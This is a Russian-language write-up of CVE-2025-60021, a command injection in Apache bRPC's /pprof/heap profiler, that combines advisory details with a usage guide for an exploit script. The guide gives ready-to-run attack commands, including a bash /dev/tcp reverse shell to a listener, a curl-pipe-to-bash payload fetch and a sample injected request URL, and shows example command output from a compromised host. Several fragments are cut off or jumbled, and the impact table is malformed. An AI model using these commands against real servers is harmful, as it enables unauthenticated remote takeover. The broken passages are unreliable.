
CVE-2025-60021

CVE-2025-60021 — это критическая уязвимость удаленного внедрения команд, обнаруженная во встроенном профилировщике кучи (/pprof/heap) Apache bRPC версий ранее 1.15.0, позволяющая неаутентифицированным злоумышленникам выполнять произвольные команды ОС. (NVD)
| Атрибут | Информация |
|---|---|
| Название / ID | CVE-2025-60021 |
| Продукт | Apache bRPC (все платформы) |
| Затронутые версии | < 1.15.0 |
| Дата публикации | 16 января 2026 (NVD) |
| Тип уязвимости | Удаленное внедрение команд (CWE-77) (NVD) |
| Эндпоинт | /pprof/heap |
| Триггер | Несанитизированный параметр extra_options |
| Коренная причина | Ввод не проверяется перед выполнением в качестве команды ОС (openwall.com) |
❗Злоумышленники могут удаленно внедрять команды, просто манипулируя этим параметром профилирования.
🔥 Уровень серьезности: Критический
📊 Базовая оценка CVSS v3.1: 9.8 / 10
Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
👉 Это означает, что злоумышленники могут выполнять произвольные команды удаленно без входа в систему — наихудший сценарий для открытых сервисов.
/pprof/heap), предназначенный для анализа памяти (jemalloc). (openwall.com)extra_options. Вместо санитизации, bRPC передает его напрямую в командную оболочку ОС. (openwall.com)Предполагается, что скрипт сохранён как CVE-2025-60021.py (хотя реальный CVE — 2025-60021 — можете переименовать). Это Python 3 скрипт для демонстрации уязвимости удаленного внедрения команд в профилировщике кучи Apache bRPC. Запускайте только на системах, которыми владеете, или при наличии явного письменного разрешения на тестирование — эксплуатация без авторизации незаконна.
Среда Python: Убедитесь, что установлен Python 3 (например, 3.6+). Скрипт использует встроенные модули плюс requests и argparse (стандартные или легко устанавливаемые).
Установка зависимостей: Если ещё не установлено, установите библиотеку requests:
pip install requests
Целевая настройка: Вам необходим уязвимый сервер Apache bRPC:
http://localhost:8060 или удалённый IP/порт).
При локальном тестировании настройте уязвимый экземпляр bRPC (например, через Docker или сборку из исходников — обратитесь к документации Apache bRPC).Права доступа: Запускайте с sudo только при необходимости сетевого доступа или привилегий; в остальных случаях подойдёт обычный python3.
Скопируйте предоставленный код PoC в файл с именем CVE-2025-60021.py. При желании сделайте его исполняемым:
chmod +x CVE-2025-60021.py
Скрипт принимает два обязательных позиционных аргумента:
target: URL уязвимого сервера bRPC (например, http://192.168.1.100:8060 или http://targets:8060 — исправьте опечатки, например, отсутствие схемы или неверный хост).cmd: Команда для выполнения на цели (например, "id" для информации о пользователе, или более сложная, например, "curl http://your-server/reverse-shell.sh | bash" для обратной оболочки). Используйте && или ; для объединения нескольких команд.Откройте терминал (например, в Kali Linux, как вы используете) и выполните его с вашей целью и командой. Примеры команд:
Базовый тест (получить информацию о системе):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Пример обратной оболочки (замените your-listener-ip и порт; предварительно запустите слушатель, например nc -lvnp 4444):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Если используется HTTPS или другой порт, измените URL соответственно (например, https://target:443 — скрипт обработает, но добавьте --insecure при проблемах с сертификатами).
Индикаторы успеха:
uid=0(root)..., если выполнялась id).Индикаторы неудачи (как вы видели):
--enable_heap_profiler=true) и перезапустите сервер.cmd — всегда указывайте его.echo "test" > /tmp/proof.txt) и проверьте файл на цели.; не работает, попробуйте && или | для объединения. URL-кодирование спецсимволов, если необходимо (скрипт обрабатывает большую часть)./pprof/heap.Если эксплуатация уязвимости на уязвимой цели (например, включён профилировщик кучи, не исправленный bRPC <1.15.0) прошла успешно, вывод в вашем терминале будет примерно таким (точные детали зависят от stdout команды и конфигурации сервера):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
Ключевые признаки: статус 200 OK, и если ваша команда (например, id && whoami && uname -a) выдаёт вывод, он может появиться в теле ответа (перемешанный с мусором профилировщика). Для «тихих» команд (например, обратная оболочка) проверьте целевой сервер или ваш слушатель на наличие активности — прямого подтверждения в терминале, кроме 200, не будет. 😈
/pprof/heap из ненадёжных сетей.✔ Злоумышленникам не нужны учётные данные. ✔ Работает по сети. ✔ Затрагивает все платформы, использующие уязвимую версию bRPC. ✔ Может привести к полной компрометации системы.
Бизнесы, использующие bRPC для критических сервисов (например, поиск, хранение, конвейеры машинного обучения), находятся в особой зоне риска, потому что эта ошибка превращает диагностический инструмент в вектор атаки. (Daily CyberSecurity)
⚠ EPSS (Прогнозирование эксплуатации): Некоторые источники указывают на низкую наблюдаемую эксплуатацию на данный момент, но лёгкость эксплуатации означает, что она может быть быстро использована в реальных атаках. (Tenable®)
📌 Классификация: CWE-77 — Некорректная нейтрализация специальных элементов в команде (Command Injection). (NVD)
Если вы используете Apache bRPC в продакшене — немедленно установите патч и ограничьте доступ к диагностическим эндпоинтам, чтобы снизить риск.
| Категория воздействия | Эффект |
|---|
| Конфиденциальность | Высокий | |
| Целостность | Высокий | |
| Доступность | Высокий | |
| Вектор атаки | Сеть | |
| Привилегии | Не требуются | |
| Взаимодействие с пользователем | Не требуется | (INCIBE) |